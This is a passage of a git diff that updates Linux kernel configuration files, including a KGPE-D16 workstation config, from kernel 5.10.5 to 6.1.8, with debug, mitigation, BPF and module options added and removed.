CONFIG_DEBUG_INFO_SPLIT is not set -CONFIG_DEBUG_INFO_DWARF4=y -# CONFIG_DEBUG_INFO_BTF is not set CONFIG_GDB_SCRIPTS=y -# CONFIG_ENABLE_MUST_CHECK is not set CONFIG_FRAME_WARN=1024 # CONFIG_STRIP_ASM_SYMS is not set # CONFIG_READABLE_ASM is not set # CONFIG_HEADERS_INSTALL is not set # CONFIG_DEBUG_SECTION_MISMATCH is not set CONFIG_SECTION_MISMATCH_WARN_ONLY=y -# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_32B is not set -CONFIG_STACK_VALIDATION=y +# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_64B is not set +CONFIG_OBJTOOL=y +# CONFIG_VMLINUX_MAP is not set # CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set # end of Compile-time checks and compiler options @@ -2981,15 +3234,23 @@ CONFIG_ARCH_HAS_UBSAN_SANITIZE_ALL=y CONFIG_HAVE_ARCH_KCSAN=y # end of Generic Kernel Debugging Instruments -CONFIG_DEBUG_KERNEL=y -# CONFIG_DEBUG_MISC is not set +# +# Networking Debugging +# +# CONFIG_NET_DEV_REFCNT_TRACKER is not set +# CONFIG_NET_NS_REFCNT_TRACKER is not set +# CONFIG_DEBUG_NET is not set +# end of Networking Debugging # # Memory Debugging # # CONFIG_PAGE_EXTENSION is not set # CONFIG_DEBUG_PAGEALLOC is not set +CONFIG_SLUB_DEBUG=y +# CONFIG_SLUB_DEBUG_ON is not set # CONFIG_PAGE_OWNER is not set +# CONFIG_PAGE_TABLE_CHECK is not set # CONFIG_PAGE_POISONING is not set # CONFIG_DEBUG_RODATA_TEST is not set CONFIG_ARCH_HAS_DEBUG_WX=y @@ -2997,7 +3258,7 @@ CONFIG_ARCH_HAS_DEBUG_WX=y CONFIG_GENERIC_PTDUMP=y # CONFIG_PTDUMP_DEBUGFS is not set # CONFIG_DEBUG_OBJECTS is not set -# CONFIG_SLUB_STATS is not set +# CONFIG_SHRINKER_DEBUG is not set CONFIG_HAVE_DEBUG_KMEMLEAK=y # CONFIG_DEBUG_KMEMLEAK is not set # CONFIG_DEBUG_STACK_USAGE is not set @@ -3009,11 +3270,16 @@ CONFIG_ARCH_HAS_DEBUG_VIRTUAL=y # CONFIG_DEBUG_VIRTUAL is not set # CONFIG_DEBUG_MEMORY_INIT is not set # CONFIG_DEBUG_PER_CPU_MAPS is not set +CONFIG_ARCH_SUPPORTS_KMAP_LOCAL_FORCE_MAP=y +# CONFIG_DEBUG_KMAP_LOCAL_FORCE_MAP is not set CONFIG_HAVE_ARCH_KASAN=y CONFIG_HAVE_ARCH_KASAN_VMALLOC=y CONFIG_CC_HAS_KASAN_GENERIC=y CONFIG_CC_HAS_WORKING_NOSANITIZE_ADDRESS=y # CONFIG_KASAN is not set +CONFIG_HAVE_ARCH_KFENCE=y +# CONFIG_KFENCE is not set +CONFIG_HAVE_ARCH_KMSAN=y # end of Memory Debugging # CONFIG_DEBUG_SHIRQ is not set @@ -3027,16 +3293,13 @@ CONFIG_PANIC_TIMEOUT=0 CONFIG_LOCKUP_DETECTOR=y CONFIG_SOFTLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set -CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=0 CONFIG_HARDLOCKUP_DETECTOR_PERF=y CONFIG_HARDLOCKUP_CHECK_TIMESTAMP=y CONFIG_HARDLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_HARDLOCKUP_PANIC is not set -CONFIG_BOOTPARAM_HARDLOCKUP_PANIC_VALUE=0 CONFIG_DETECT_HUNG_TASK=y CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=120 # CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set -CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=0 CONFIG_WQ_WATCHDOG=y # CONFIG_TEST_LOCKUP is not set # end of Debug Oops, Lockups and Hangs @@ -3070,6 +3333,7 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_CSD_LOCK_WAIT_DEBUG is not set # end of Lock Debugging (spinlocks, mutexes, etc...) +# CONFIG_DEBUG_IRQFLAGS is not set CONFIG_STACKTRACE=y # CONFIG_WARN_ALL_UNSEEDED_RANDOM is not set # CONFIG_DEBUG_KOBJECT is not set @@ -3082,6 +3346,7 @@ CONFIG_STACKTRACE=y # CONFIG_DEBUG_SG is not set # CONFIG_DEBUG_NOTIFIERS is not set # CONFIG_BUG_ON_DATA_CORRUPTION is not set +# CONFIG_DEBUG_MAPLE_TREE is not set # end of Debug kernel data structures # CONFIG_DEBUG_CREDENTIALS is not set @@ -3093,36 +3358,40 @@ CONFIG_STACKTRACE=y # CONFIG_RCU_TORTURE_TEST is not set # CONFIG_RCU_REF_SCALE_TEST is not set CONFIG_RCU_CPU_STALL_TIMEOUT=21 +CONFIG_RCU_EXP_CPU_STALL_TIMEOUT=0 # CONFIG_RCU_TRACE is not set # CONFIG_RCU_EQS_DEBUG is not set # end of RCU Debugging # CONFIG_DEBUG_WQ_FORCE_RR_CPU is not set -# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set # CONFIG_CPU_HOTPLUG_STATE_CONTROL is not set # CONFIG_LATENCYTOP is not set CONFIG_USER_STACKTRACE_SUPPORT=y +CONFIG_HAVE_RETHOOK=y CONFIG_HAVE_FUNCTION_TRACER=y -CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y CONFIG_HAVE_DYNAMIC_FTRACE=y CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y CONFIG_HAVE_DYNAMIC_FTRACE_WITH_DIRECT_CALLS=y +CONFIG_HAVE_DYNAMIC_FTRACE_WITH_ARGS=y +CONFIG_HAVE_DYNAMIC_FTRACE_NO_PATCHABLE=y CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y CONFIG_HAVE_SYSCALL_TRACEPOINTS=y CONFIG_HAVE_FENTRY=y +CONFIG_HAVE_OBJTOOL_MCOUNT=y CONFIG_HAVE_C_RECORDMCOUNT=y +CONFIG_HAVE_BUILDTIME_MCOUNT_SORT=y CONFIG_TRACING_SUPPORT=y # CONFIG_FTRACE is not set # CONFIG_PROVIDE_OHCI1394_DMA_INIT is not set # CONFIG_SAMPLES is not set +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT=y +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT_MULTI=y CONFIG_ARCH_HAS_DEVMEM_IS_ALLOWED=y # CONFIG_STRICT_DEVMEM is not set # # x86 Debugging # -CONFIG_TRACE_IRQFLAGS_SUPPORT=y -CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y # CONFIG_X86_VERBOSE_BOOTUP is not set CONFIG_EARLY_PRINTK=y # CONFIG_EARLY_PRINTK_DBGP is not set @@ -3142,7 +3411,6 @@ CONFIG_IO_DELAY_0XED=y # CONFIG_PUNIT_ATOM_DEBUG is not set CONFIG_UNWINDER_ORC=y # CONFIG_UNWINDER_FRAME_POINTER is not set -# CONFIG_UNWINDER_GUESS is not set # end of x86 Debugging # @@ -3156,26 +3424,28 @@ CONFIG_CC_HAS_SANCOV_TRACE_PC=y # CONFIG_KCOV is not set CONFIG_RUNTIME_TESTING_MENU=y # CONFIG_LKDTM is not set -# CONFIG_TEST_LIST_SORT is not set # CONFIG_TEST_MIN_HEAP is not set -# CONFIG_TEST_SORT is not set +# CONFIG_TEST_DIV64 is not set # CONFIG_BACKTRACE_SELF_TEST is not set +# CONFIG_TEST_REF_TRACKER is not set # CONFIG_RBTREE_TEST is not set # CONFIG_REED_SOLOMON_TEST is not set # CONFIG_INTERVAL_TREE_TEST is not set # CONFIG_PERCPU_TEST is not set # CONFIG_ATOMIC64_SELFTEST is not set # CONFIG_TEST_HEXDUMP is not set +# CONFIG_STRING_SELFTEST is not set # CONFIG_TEST_STRING_HELPERS is not set # CONFIG_TEST_STRSCPY is not set # CONFIG_TEST_KSTRTOX is not set # CONFIG_TEST_PRINTF is not set +# CONFIG_TEST_SCANF is not set # CONFIG_TEST_BITMAP is not set # CONFIG_TEST_UUID is not set # CONFIG_TEST_XARRAY is not set -# CONFIG_TEST_OVERFLOW is not set +# CONFIG_TEST_MAPLE_TREE is not set # CONFIG_TEST_RHASHTABLE is not set -# CONFIG_TEST_HASH is not set +# CONFIG_TEST_SIPHASH is not set # CONFIG_TEST_IDA is not set # CONFIG_TEST_LKM is not set # CONFIG_TEST_BITOPS is not set @@ -3188,12 +3458,19 @@ CONFIG_RUNTIME_TESTING_MENU=y # CONFIG_TEST_SYSCTL is not set # CONFIG_TEST_UDELAY is not set # CONFIG_TEST_STATIC_KEYS is not set +# CONFIG_TEST_DYNAMIC_DEBUG is not set # CONFIG_TEST_KMOD is not set # CONFIG_TEST_MEMCAT_P is not set -# CONFIG_TEST_STACKINIT is not set # CONFIG_TEST_MEMINIT is not set # CONFIG_TEST_FREE_PAGES is not set # CONFIG_TEST_FPU is not set +# CONFIG_TEST_CLOCKSOURCE_WATCHDOG is not set +CONFIG_ARCH_USE_MEMTEST=y # CONFIG_MEMTEST is not set # end of Kernel Testing and Coverage + +# +# Rust hacking +# +# end of Rust hacking # end of Kernel hacking diff --git a/config/linux-kgpe-d16_workstation.config b/config/linux-kgpe-d16_workstation.config index fe9d92f27..8b8ae60b0 100644 --- a/config/linux-kgpe-d16_workstation.config +++ b/config/linux-kgpe-d16_workstation.config @@ -1,17 +1,21 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86 5.10.5 Kernel Configuration +# Linux/x86 6.1.8 Kernel Configuration # CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 8.3.0" CONFIG_CC_IS_GCC=y CONFIG_GCC_VERSION=80300 -CONFIG_LD_VERSION=232000000 CONFIG_CLANG_VERSION=0 +CONFIG_AS_IS_GNU=y +CONFIG_AS_VERSION=23200 +CONFIG_LD_IS_BFD=y +CONFIG_LD_VERSION=23200 CONFIG_LLD_VERSION=0 CONFIG_CC_CAN_LINK=y CONFIG_CC_CAN_LINK_STATIC=y -CONFIG_CC_HAS_ASM_GOTO=y CONFIG_CC_HAS_ASM_INLINE=y +CONFIG_CC_HAS_NO_PROFILE_FN_ATTR=y +CONFIG_PAHOLE_VERSION=0 CONFIG_IRQ_WORK=y CONFIG_BUILDTIME_TABLE_SORT=y CONFIG_THREAD_INFO_IN_TASK=y @@ -21,6 +25,7 @@ CONFIG_THREAD_INFO_IN_TASK=y # CONFIG_INIT_ENV_ARG_LIMIT=32 # CONFIG_COMPILE_TEST is not set +# CONFIG_WERROR is not set CONFIG_LOCALVERSION="-@BRAND_NAME@" # CONFIG_LOCALVERSION_AUTO is not set CONFIG_BUILD_SALT="" @@ -40,7 +45,6 @@ CONFIG_KERNEL_XZ=y # CONFIG_KERNEL_ZSTD is not set CONFIG_DEFAULT_INIT="" CONFIG_DEFAULT_HOSTNAME="(none)" -# CONFIG_SWAP is not set # CONFIG_SYSVIPC is not set # CONFIG_POSIX_MQUEUE is not set # CONFIG_WATCH_QUEUE is not set @@ -80,6 +84,8 @@ CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y CONFIG_GENERIC_CMOS_UPDATE=y CONFIG_HAVE_POSIX_CPU_TIMERS_TASK_WORK=y CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y +CONFIG_CONTEXT_TRACKING=y +CONFIG_CONTEXT_TRACKING_IDLE=y # # Timers subsystem @@ -91,11 +97,26 @@ CONFIG_NO_HZ_IDLE=y # CONFIG_NO_HZ_FULL is not set # CONFIG_NO_HZ is not set # CONFIG_HIGH_RES_TIMERS is not set +CONFIG_CLOCKSOURCE_WATCHDOG_MAX_SKEW_US=100 # end of Timers subsystem +CONFIG_BPF=y +CONFIG_HAVE_EBPF_JIT=y +CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y + +# +# BPF subsystem +# +# CONFIG_BPF_SYSCALL is not set +# CONFIG_BPF_JIT is not set +# end of BPF subsystem + +CONFIG_PREEMPT_NONE_BUILD=y CONFIG_PREEMPT_NONE=y # CONFIG_PREEMPT_VOLUNTARY is not set # CONFIG_PREEMPT is not set +# CONFIG_PREEMPT_DYNAMIC is not set +# CONFIG_SCHED_CORE is not set # # CPU/Task time and stats accounting @@ -119,12 +140,12 @@ CONFIG_RCU_STALL_COMMON=y CONFIG_RCU_NEED_SEGCBLIST=y # end of RCU Subsystem -CONFIG_BUILD_BIN2C=y # CONFIG_IKCONFIG is not set # CONFIG_IKHEADERS is not set CONFIG_LOG_BUF_SHIFT=18 CONFIG_LOG_CPU_MAX_BUF_SHIFT=12 CONFIG_PRINTK_SAFE_LOG_BUF_SHIFT=13 +# CONFIG_PRINTK_INDEX is not set CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y # @@ -136,6 +157,9 @@ CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y CONFIG_ARCH_WANT_BATCHED_UNMAP_TLB_FLUSH=y CONFIG_CC_HAS_INT128=y +CONFIG_CC_IMPLICIT_FALLTHROUGH="-Wimplicit-fallthrough=5" +CONFIG_GCC11_NO_ARRAY_BOUNDS=y +CONFIG_GCC12_NO_ARRAY_BOUNDS=y CONFIG_ARCH_SUPPORTS_INT128=y # CONFIG_CGROUPS is not set # CONFIG_CHECKPOINT_RESTORE is not set @@ -157,13 +181,13 @@ CONFIG_INITRAMFS_COMPRESSION_XZ=y # CONFIG_INITRAMFS_COMPRESSION_ZSTD is not set # CONFIG_INITRAMFS_COMPRESSION_NONE is not set # CONFIG_BOOT_CONFIG is not set +# CONFIG_INITRAMFS_PRESERVE_MTIME is not set # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y CONFIG_SYSCTL=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y -CONFIG_BPF=y CONFIG_EXPERT=y # CONFIG_MULTIUSER is not set # CONFIG_SGETMASK_SYSCALL is not set @@ -171,7 +195,6 @@ CONFIG_EXPERT=y # CONFIG_FHANDLE is not set CONFIG_POSIX_TIMERS=y CONFIG_PRINTK=y -CONFIG_PRINTK_NMI=y CONFIG_BUG=y CONFIG_PCSPKR_PLATFORM=y # CONFIG_BASE_FULL is not set @@ -190,10 +213,8 @@ CONFIG_KALLSYMS=y # CONFIG_KALLSYMS_ALL is not set CONFIG_KALLSYMS_ABSOLUTE_PERCPU=y CONFIG_KALLSYMS_BASE_RELATIVE=y -# CONFIG_BPF_SYSCALL is not set -CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y -# CONFIG_USERFAULTFD is not set CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +CONFIG_KCMP=y CONFIG_RSEQ=y # CONFIG_DEBUG_RSEQ is not set CONFIG_EMBEDDED=y @@ -207,17 +228,6 @@ CONFIG_PERF_EVENTS=y # CONFIG_DEBUG_PERF_USE_VMALLOC is not set # end of Kernel Performance Events And Counters -# CONFIG_VM_EVENT_COUNTERS is not set -# CONFIG_SLUB_DEBUG is not set -# CONFIG_COMPAT_BRK is not set -# CONFIG_SLAB is not set -CONFIG_SLUB=y -# CONFIG_SLOB is not set -CONFIG_SLAB_MERGE_DEFAULT=y -# CONFIG_SLAB_FREELIST_RANDOM is not set -# CONFIG_SLAB_FREELIST_HARDENED is not set -# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set -CONFIG_SLUB_CPU_PARTIAL=y # CONFIG_PROFILING is not set # end of General setup @@ -239,17 +249,10 @@ CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y CONFIG_ARCH_MAY_HAVE_PC_FDC=y CONFIG_GENERIC_CALIBRATE_DELAY=y CONFIG_ARCH_HAS_CPU_RELAX=y -CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y -CONFIG_ARCH_HAS_FILTER_PGPROT=y -CONFIG_HAVE_SETUP_PER_CPU_AREA=y -CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y -CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y CONFIG_ARCH_HIBERNATION_POSSIBLE=y +CONFIG_ARCH_NR_GPIO=1024 CONFIG_ARCH_SUSPEND_POSSIBLE=y -CONFIG_ARCH_WANT_GENERAL_HUGETLB=y -CONFIG_ZONE_DMA32=y CONFIG_AUDIT_ARCH=y -CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y CONFIG_X86_64_SMP=y CONFIG_ARCH_SUPPORTS_UPROBES=y CONFIG_FIX_EARLYCON_MEM=y @@ -259,12 +262,10 @@ CONFIG_CC_HAS_SANE_STACKPROTECTOR=y # # Processor type and features # -# CONFIG_ZONE_DMA is not set CONFIG_SMP=y CONFIG_X86_FEATURE_NAMES=y # CONFIG_X86_MPPARSE is not set # CONFIG_GOLDFISH is not set -CONFIG_RETPOLINE=y # CONFIG_X86_CPU_RESCTRL is not set # CONFIG_X86_EXTENDED_PLATFORM is not set # CONFIG_X86_INTEL_LPSS is not set @@ -295,11 +296,13 @@ CONFIG_HPET_TIMER=y CONFIG_HPET_EMULATE_RTC=y CONFIG_DMI=y # CONFIG_GART_IOMMU is not set +CONFIG_BOOT_VESA_SUPPORT=y # CONFIG_MAXSMP is not set CONFIG_NR_CPUS_RANGE_BEGIN=2 CONFIG_NR_CPUS_RANGE_END=512 CONFIG_NR_CPUS_DEFAULT=64 CONFIG_NR_CPUS=64 +CONFIG_SCHED_CLUSTER=y CONFIG_SCHED_SMT=y CONFIG_SCHED_MC=y CONFIG_X86_LOCAL_APIC=y @@ -317,11 +320,12 @@ CONFIG_X86_MCE_THRESHOLD=y # # CONFIG_PERF_EVENTS_INTEL_RAPL is not set # CONFIG_PERF_EVENTS_AMD_POWER is not set +CONFIG_PERF_EVENTS_AMD_UNCORE=y +# CONFIG_PERF_EVENTS_AMD_BRS is not set # end of Performance monitoring # CONFIG_X86_VSYSCALL_EMULATION is not set CONFIG_X86_IOPL_IOPERM=y -# CONFIG_I8K is not set # CONFIG_MICROCODE is not set # CONFIG_X86_MSR is not set # CONFIG_X86_CPUID is not set @@ -332,16 +336,14 @@ CONFIG_X86_DIRECT_GBPAGES=y # CONFIG_NUMA is not set CONFIG_ARCH_SPARSEMEM_ENABLE=y CONFIG_ARCH_SPARSEMEM_DEFAULT=y -CONFIG_ARCH_SELECT_MEMORY_MODEL=y CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000 CONFIG_X86_PMEM_LEGACY_DEVICE=y CONFIG_X86_PMEM_LEGACY=y # CONFIG_X86_CHECK_BIOS_CORRUPTION is not set -CONFIG_X86_RESERVE_LOW=64 # CONFIG_MTRR is not set -CONFIG_ARCH_RANDOM=y -# CONFIG_X86_SMAP is not set CONFIG_X86_UMIP=y +CONFIG_CC_HAS_IBT=y +# CONFIG_X86_KERNEL_IBT is not set # CONFIG_X86_INTEL_MEMORY_PROTECTION_KEYS is not set # CONFIG_EFI is not set # CONFIG_HZ_100 is not set @@ -361,17 +363,23 @@ CONFIG_DYNAMIC_MEMORY_LAYOUT=y CONFIG_HOTPLUG_CPU=y # CONFIG_BOOTPARAM_HOTPLUG_CPU0 is not set # CONFIG_DEBUG_HOTPLUG_CPU0 is not set -# CONFIG_LEGACY_VSYSCALL_EMULATE is not set CONFIG_LEGACY_VSYSCALL_XONLY=y # CONFIG_LEGACY_VSYSCALL_NONE is not set # CONFIG_CMDLINE_BOOL is not set # CONFIG_MODIFY_LDT_SYSCALL is not set +# CONFIG_STRICT_SIGALTSTACK_SIZE is not set CONFIG_HAVE_LIVEPATCH=y # end of Processor type and features +CONFIG_CC_HAS_RETURN_THUNK=y +CONFIG_SPECULATION_MITIGATIONS=y +CONFIG_PAGE_TABLE_ISOLATION=y +CONFIG_RETPOLINE=y +CONFIG_RETHUNK=y +CONFIG_CPU_UNRET_ENTRY=y +CONFIG_CPU_IBPB_ENTRY=y CONFIG_ARCH_HAS_ADD_PAGES=y -CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y -CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y +CONFIG_ARCH_MHP_MEMMAP_ON_MEMORY_ENABLE=y # # Power management and ACPI options @@ -386,6 +394,7 @@ CONFIG_ARCH_MIGHT_HAVE_ACPI_PDC=y CONFIG_ACPI_SYSTEM_POWER_STATES_SUPPORT=y # CONFIG_ACPI_DEBUGGER is not set CONFIG_ACPI_SPCR_TABLE=y +# CONFIG_ACPI_FPDT is not set CONFIG_ACPI_LPIT=y CONFIG_ACPI_REV_OVERRIDE_POSSIBLE=y # CONFIG_ACPI_EC_DEBUGFS is not set @@ -419,9 +428,10 @@ CONFIG_HAVE_ACPI_APEI_NMI=y # CONFIG_ACPI_APEI is not set # CONFIG_ACPI_DPTF is not set # CONFIG_ACPI_CONFIGFS is not set +# CONFIG_ACPI_PFRUT is not set +CONFIG_ACPI_PCC=y # CONFIG_PMIC_OPREGION is not set CONFIG_X86_PM_TIMER=y -# CONFIG_SFI is not set # # CPU Frequency scaling @@ -447,6 +457,8 @@ CONFIG_CPU_FREQ_GOV_SCHEDUTIL=y # # CONFIG_X86_INTEL_PSTATE is not set # CONFIG_X86_PCC_CPUFREQ is not set +# CONFIG_X86_AMD_PSTATE is not set +# CONFIG_X86_AMD_PSTATE_UT is not set # CONFIG_X86_ACPI_CPUFREQ is not set # CONFIG_X86_SPEEDSTEP_CENTRINO is not set # CONFIG_X86_P4_CLOCKMOD is not set @@ -476,34 +488,15 @@ CONFIG_MMCONF_FAM10H=y # CONFIG_ISA_BUS is not set CONFIG_ISA_DMA_API=y CONFIG_AMD_NB=y -# CONFIG_X86_SYSFB is not set # end of Bus options (PCI etc.) # # Binary Emulations # # CONFIG_IA32_EMULATION is not set -# CONFIG_X86_X32 is not set +# CONFIG_X86_X32_ABI is not set # end of Binary Emulations -# -# Firmware Drivers -# -# CONFIG_EDD is not set -# CONFIG_FIRMWARE_MEMMAP is not set -# CONFIG_DMIID is not set -# CONFIG_DMI_SYSFS is not set -CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y -# CONFIG_ISCSI_IBFT is not set -# CONFIG_FW_CFG_SYSFS is not set -# CONFIG_GOOGLE_FIRMWARE is not set - -# -# Tegra firmware driver -# -# end of Tegra firmware driver -# end of Firmware Drivers - CONFIG_HAVE_KVM=y # CONFIG_VIRTUALIZATION is not set CONFIG_AS_AVX512=y @@ -518,8 +511,6 @@ CONFIG_CRASH_CORE=y CONFIG_KEXEC_CORE=y CONFIG_HOTPLUG_SMT=y CONFIG_GENERIC_ENTRY=y -CONFIG_HAVE_OPROFILE=y -CONFIG_OPROFILE_NMI_TIMER=y # CONFIG_KPROBES is not set CONFIG_JUMP_LABEL=y # CONFIG_STATIC_KEYS_SELFTEST is not set @@ -531,8 +522,11 @@ CONFIG_HAVE_KPROBES=y CONFIG_HAVE_KRETPROBES=y CONFIG_HAVE_OPTPROBES=y CONFIG_HAVE_KPROBES_ON_FTRACE=y +CONFIG_ARCH_CORRECT_STACKTRACE_ON_KRETPROBE=y CONFIG_HAVE_FUNCTION_ERROR_INJECTION=y CONFIG_HAVE_NMI=y +CONFIG_TRACE_IRQFLAGS_SUPPORT=y +CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y CONFIG_HAVE_ARCH_TRACEHOOK=y CONFIG_HAVE_DMA_CONTIGUOUS=y CONFIG_GENERIC_SMP_IDLE_THREAD=y @@ -541,9 +535,11 @@ CONFIG_ARCH_HAS_SET_MEMORY=y CONFIG_ARCH_HAS_SET_DIRECT_MAP=y CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y +CONFIG_ARCH_WANTS_NO_INSTR=y CONFIG_HAVE_ASM_MODVERSIONS=y CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y CONFIG_HAVE_RSEQ=y +CONFIG_HAVE_RUST=y CONFIG_HAVE_FUNCTION_ARG_ACCESS_API=y CONFIG_HAVE_HW_BREAKPOINT=y CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y @@ -554,6 +550,7 @@ CONFIG_HAVE_PERF_REGS=y CONFIG_HAVE_PERF_USER_STACK_DUMP=y CONFIG_HAVE_ARCH_JUMP_LABEL=y CONFIG_HAVE_ARCH_JUMP_LABEL_RELATIVE=y +CONFIG_MMU_GATHER_MERGE_VMAS=y CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y CONFIG_HAVE_CMPXCHG_LOCAL=y @@ -565,27 +562,47 @@ CONFIG_HAVE_ARCH_STACKLEAK=y CONFIG_HAVE_STACKPROTECTOR=y CONFIG_STACKPROTECTOR=y CONFIG_STACKPROTECTOR_STRONG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG_THIN=y +CONFIG_LTO_NONE=y +CONFIG_ARCH_SUPPORTS_CFI_CLANG=y CONFIG_HAVE_ARCH_WITHIN_STACK_FRAMES=y -CONFIG_HAVE_CONTEXT_TRACKING=y +CONFIG_HAVE_CONTEXT_TRACKING_USER=y +CONFIG_HAVE_CONTEXT_TRACKING_USER_OFFSTACK=y CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y +CONFIG_HAVE_MOVE_PUD=y CONFIG_HAVE_MOVE_PMD=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE_PUD=y CONFIG_HAVE_ARCH_HUGE_VMAP=y +CONFIG_HAVE_ARCH_HUGE_VMALLOC=y CONFIG_ARCH_WANT_HUGE_PMD_SHARE=y CONFIG_HAVE_ARCH_SOFT_DIRTY=y CONFIG_HAVE_MOD_ARCH_SPECIFIC=y CONFIG_MODULES_USE_ELF_RELA=y +CONFIG_HAVE_IRQ_EXIT_ON_IRQ_STACK=y +CONFIG_HAVE_SOFTIRQ_ON_OWN_STACK=y +CONFIG_SOFTIRQ_ON_OWN_STACK=y CONFIG_ARCH_HAS_ELF_RANDOMIZE=y CONFIG_HAVE_ARCH_MMAP_RND_BITS=y CONFIG_HAVE_EXIT_THREAD=y CONFIG_ARCH_MMAP_RND_BITS=28 +CONFIG_PAGE_SIZE_LESS_THAN_64KB=y +CONFIG_PAGE_SIZE_LESS_THAN_256KB=y +CONFIG_HAVE_OBJTOOL=y +CONFIG_HAVE_JUMP_LABEL_HACK=y +CONFIG_HAVE_NOINSTR_HACK=y +CONFIG_HAVE_NOINSTR_VALIDATION=y +CONFIG_HAVE_UACCESS_VALIDATION=y CONFIG_HAVE_STACK_VALIDATION=y CONFIG_HAVE_RELIABLE_STACKTRACE=y # CONFIG_COMPAT_32BIT_TIME is not set CONFIG_HAVE_ARCH_VMAP_STACK=y CONFIG_VMAP_STACK=y +CONFIG_HAVE_ARCH_RANDOMIZE_KSTACK_OFFSET=y +CONFIG_RANDOMIZE_KSTACK_OFFSET=y +# CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT is not set CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y CONFIG_STRICT_KERNEL_RWX=y CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y @@ -595,7 +612,15 @@ CONFIG_HAVE_ARCH_PREL32_RELOCATIONS=y CONFIG_ARCH_HAS_MEM_ENCRYPT=y CONFIG_HAVE_STATIC_CALL=y CONFIG_HAVE_STATIC_CALL_INLINE=y +CONFIG_HAVE_PREEMPT_DYNAMIC=y +CONFIG_HAVE_PREEMPT_DYNAMIC_CALL=y CONFIG_ARCH_WANT_LD_ORPHAN_WARN=y +CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y +CONFIG_ARCH_SUPPORTS_PAGE_TABLE_CHECK=y +CONFIG_ARCH_HAS_ELFCORE_COMPAT=y +CONFIG_ARCH_HAS_PARANOID_L1D_FLUSH=y +CONFIG_DYNAMIC_SIGFRAME=y +CONFIG_ARCH_HAS_NONLEAF_PMD_YOUNG=y # # GCOV-based kernel profiling @@ -605,6 +630,8 @@ CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y # end of GCOV-based kernel profiling CONFIG_HAVE_GCC_PLUGINS=y +CONFIG_GCC_PLUGINS=y +# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set # end of General architecture-dependent options CONFIG_RT_MUTEXES=y @@ -615,17 +642,20 @@ CONFIG_MODULES=y # CONFIG_MODVERSIONS is not set # CONFIG_MODULE_SRCVERSION_ALL is not set # CONFIG_MODULE_SIG is not set -# CONFIG_MODULE_COMPRESS is not set +CONFIG_MODULE_COMPRESS_NONE=y +# CONFIG_MODULE_COMPRESS_GZIP is not set +# CONFIG_MODULE_COMPRESS_XZ is not set +# CONFIG_MODULE_COMPRESS_ZSTD is not set # CONFIG_MODULE_ALLOW_MISSING_NAMESPACE_IMPORTS is not set -CONFIG_UNUSED_SYMBOLS=y +CONFIG_MODPROBE_PATH="/sbin/modprobe" +# CONFIG_TRIM_UNUSED_KSYMS is not set CONFIG_MODULES_TREE_LOOKUP=y CONFIG_BLOCK=y -CONFIG_BLK_SCSI_REQUEST=y -CONFIG_BLK_DEV_BSG=y +CONFIG_BLOCK_LEGACY_AUTOLOAD=y +CONFIG_BLK_DEV_BSG_COMMON=y CONFIG_BLK_DEV_BSGLIB=y # CONFIG_BLK_DEV_INTEGRITY is not set # CONFIG_BLK_DEV_ZONED is not set -# 